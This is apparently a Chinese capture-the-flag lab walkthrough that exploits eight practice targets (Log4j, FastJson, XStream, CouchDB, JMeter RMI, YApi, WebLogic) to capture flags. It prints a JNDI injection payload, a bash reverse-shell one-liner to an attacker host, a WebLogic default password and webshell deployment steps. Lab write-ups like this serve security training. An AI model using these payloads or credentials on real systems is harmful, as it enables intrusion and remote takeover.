Part1
log4j2,⽬标站点:http://27.25.151.24:29458/hello?payload=111
访问站点后,发现参数payload为可控点后, 对该参数进行黑盒测试
尝试JNDI注入时, 语句为:${jndi:dns://teg756.dnslog.cn}
得到dnslog回显记录, 说明目标服务器存在JNDI漏洞, 并且可出网
使用JNDI-Injection-Exploit.jar工具生成反弹shell :
(反弹语句:bash -i >& /dev/tcp/xx..xx.88/10001 0>&1)
在攻击机上监听10001端口后, 将JNDI-Exploit生成反弹shell发送给服务器
攻击机得到目标bash
获取环境变量得到flag{b423788e-d7b7-4e1abd58-9e73b447d575}
Part2
测试目标:目标站点:http://27.25.151.24:23953/ 漏洞发现:FastJson 反序列化漏洞访问漏洞所在URL后, 服务器返回了数据信息, 并且通过标题图标获得服务器是Java语言SpringBoot框架开发的Web程序
浏览器中按快捷键F12调出开发者⼯具, 在标签中选择网络, 重新访问⻚面服务器响的Content-Type, 知道了目标服务器发送过来的是⼀串json数据
Java中, 处理Json数据⼀般使用的框架:Jackson、Fastjson 等尝试对其Java框架中, 处理Json数据的组件进行黑盒测试。经过测试多种组件的payload后, 发现存在FastJson反序列化漏洞CVE-2017-18349 (1) 构造⼀个请求DNS的Payload发送给服务器后, dnslog中可以看到目标服务器出网
(2)在攻击机上使用JNDI-Injection-Exploit工具生成JNDI反弹shell, nc进行监听10001端口
(3) 发送 Payload 给服务器后, 攻击机的JNDI注入工具得到回连信息
(4) ⽬标服务器成功将Shell反弹到nc, 获取flag
Part3
测试目标:http://27.25.151.24:25021 漏洞发现:WebSVN 命令执行 漏洞所在URL:
http://27.25.151.24:25021/search.php?repname=test&search=test
漏洞参数:search
WebSVN 命令执行复现过程: (1) 尝试对search参数进行SQL注入时, 发现命令执行的报错提示
(2) 既然search参数是作为命令执行的输入, 可以构造如下payload进行测试, 成功出网
(3)目标服务器可以出网则构造反弹shell的payload, 且攻击机上监听10001端口
(4) nc获得反弹shell, 使用export命令获取系统环境变量, 取得flag
Part4
目标站点:http://27.25.151.24:23531 漏洞发现:xstream 反序列化漏洞 漏洞所在URL:http://27.25.151.24:23531 首先访问⻚面, 看到返回信息提示 hello, input your information please
BurpSuite抓包后, 将原先的GET方法替换为POST方法, 得到了服务器500状态码信息,可收集到的信息:
1.报错⻚面的信息:Whitelabel Error Page 这是SpringBoot框架的报错⻚面(后端Java开发) 2.Java后端Web语⾔中可能存在使用了数据处理的组件, 例如:xstream、fastjson 等,经过测试多种组件的payload后,发现存在Xstream反序列化漏洞(CVE-2021-21351) (1)在攻击机上使用JNDI-Injection-Exploit工具生成JNDI反弹shell, nc进行监听10001端口
(2) POST请求体中发送 Payload 给服务器后, 攻击机JNDI注入工具得到回连信息
(3) 目标服务器成功将Shell反弹到nc, 拿下flag
Part5
目标站点:http://27.25.151.24:23385/ 漏洞发现: (1) Couchdb 特殊目录"_utils"泄露 漏洞所在URL:http://27.25.151.24:23953/_utils/
(2) Couchdb 垂直权限绕过 访问http://27.25.151.24:23385/⻚面后, 服务器返回了类似接口的数据信息
浏览器F12进入开发者模式看到Couchdb数据库的版本的信息,结合Title图标样式, 可以确定是Couchdb数据库
CVE-2017-12635 复现过程: (1).使用nmap对目标CouchDB非默认端口23385进行扫描, 进一步确定是CouchDB数据库
(2). 尝试向服务器发送json形式的payload, 以创建数据库用户
(3). 数据库接口成功返回用户创建成功的信息 Couchdb 任意命令执行: 通常 CVE-2017-12635 漏洞进行联合的就是 CVE-2017-12636,CVE-2017-12636 需要管理员权限的账户才能进行利用 CVE-2017-12636 复现过程: (1) 尝试发送Payload给服务器后, 成功返回创建数据库、创建表、插入数据的信息
(2) POST请求调用第一个curl命令中所建立的反弹shell, 并且在攻击机上监听10001端口
(3) 目标bash成功反弹到攻击机, 通过export命令获取到flag
Part6
目标站点:27.25.151.24:24980 漏洞发现:Jmeter RMI 反序列化命令执行漏洞 (CVE-2018-1297)Jmeter RMI 反序列化漏洞复现过程如下: (1) 使用 nmap 扫描目标时, 存在RMI服务, 目标将RMI服务1099端口映射到24980端⼝
(2) 使用ysoserial工具尝试进行对24980的RMI服务注入后, 判断出网成功
(3) 使用ysoserial发送反弹shell, 并在攻击机上监听10001端口
(4) 攻击机上成功获得目标服务器反弹过来的shell, 拿下flag
Part7
目标站点:http://27.25.151.24:24387 2. 漏洞发现:Yapi 任意代码执行漏洞 漏洞复现: (1) 在目标站点的Yapi 1.8.3管理⻚面中, 注册⼀个用户
(2) 在个人空间的接口中添加⼀个项目和接口, 用于接收和运行全局mock脚本
(3) 在个人中心的设置中, 插入⼀个全局mock脚本的Payload后进行保存
(4) 进入到个人中心的接口处, 查看刚刚创建的test项目预览, 访问其中的Mock地址
(5) 命令执行成功, 权限为root
(6) 进⼀步利用反弹至nc时, 查看⼀下/bin/sh的链接
(7) 修改bash指向后, 访问Mock地址, 使其生效
(8)在全局Mock脚本中构造反弹payload后,访问Mock地址,从而反弹至攻击机的10001端⼝
Part 8
目标站点:http://27.25.151.24:21634 漏洞发现:Weblogic 弱口令 漏洞所在URL:http://27.25.151.24:21634/console/ 访问http://27.25.151.24:21634⻚面, 看到返回信息是Weblogic的默认错误⻚面
Weblogic弱⼝令到GetShell复现过程: (1) 尝试爆破Weblogic默认账户密码后, 成功进⼊Weblogic控制台⻚面 username:weblogic、password:Oracle@123
(2) 使用哥斯拉生成⼀个jsp的webshell, 将jsp儿文件进行zip压缩后, 将后缀名改为war
在部署 -> 安装 -> 上传文件中上传shell.war文件, 并⼀路以默认设置点击下⼀步 ,上传完成后, 在部署控制⻚面, 可以看到已经上传了的shell
(3) 使用哥斯拉进行连接测试成功, 并且拿到flag
在网络安全这条充满挑战的道路上,MS08067练武场愿与您携手前行,共同成长。我们将继续努力,为您提供更优质的实战演练环境和学习资源,帮助您在网络安全领域取得更大的成就。
本文分享自 Ms08067安全实验室 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!